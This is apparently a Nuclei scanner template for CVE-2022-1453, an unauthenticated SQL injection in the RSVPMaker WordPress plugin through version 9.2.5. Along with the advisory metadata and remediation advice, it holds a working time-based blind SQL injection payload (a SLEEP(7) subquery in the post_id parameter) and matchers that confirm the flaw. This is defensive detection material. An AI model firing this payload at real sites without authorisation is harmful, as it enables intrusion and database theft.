CVE-2022-1453: RSVPMaker <= 9.2.5 - SQL Injection

id: CVE-2022-1453

info:
  name: RSVPMaker <= 9.2.5 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The RSVPMaker plugin for WordPress is vulnerable to unauthenticated SQL Injection due to missing SQL escaping and parameterization on user supplied data passed to a SQL query in the rsvpmaker-util.php file. This makes it possible for unauthenticated attackers to steal sensitive information from the database in versions up to and including 9.2.5.
  impact: |
    Attackers can retrieve sensitive data from the database without authentication, leading to data breach and privacy violations.
  remediation: |
    Update to version 9.2.6, or later
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/rsvpmaker/rsvpmaker-925-unauthenticated-sql-injection
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1453
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1453
    epss-score: 0.06922
    epss-percentile: 0.93935
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2022,wordpress,wp,wp-plugin,sqli,rsvpmaker,vkev

http:
  - raw:
      - |
        @timeout: 30s
        GET /wp-json/rsvpmaker/v1/sked/1?post_id=(SELECT%209999%20FROM%20(SELECT(SLEEP(7)))a) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 7'
          - 'status_code == 200'
          - 'regex("false$", body)'
          - 'contains(content_type, "application/json")'
        condition: and
# digest: 490a0046304402202281a9e3e8d6be6210bca85853e8e2687e294454a6b39f6d434608d8d00ecd800220556b7b9fb2b7a0c71e2954013b4c418f0c5feb460d147c1d07670c802fe7dc97:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.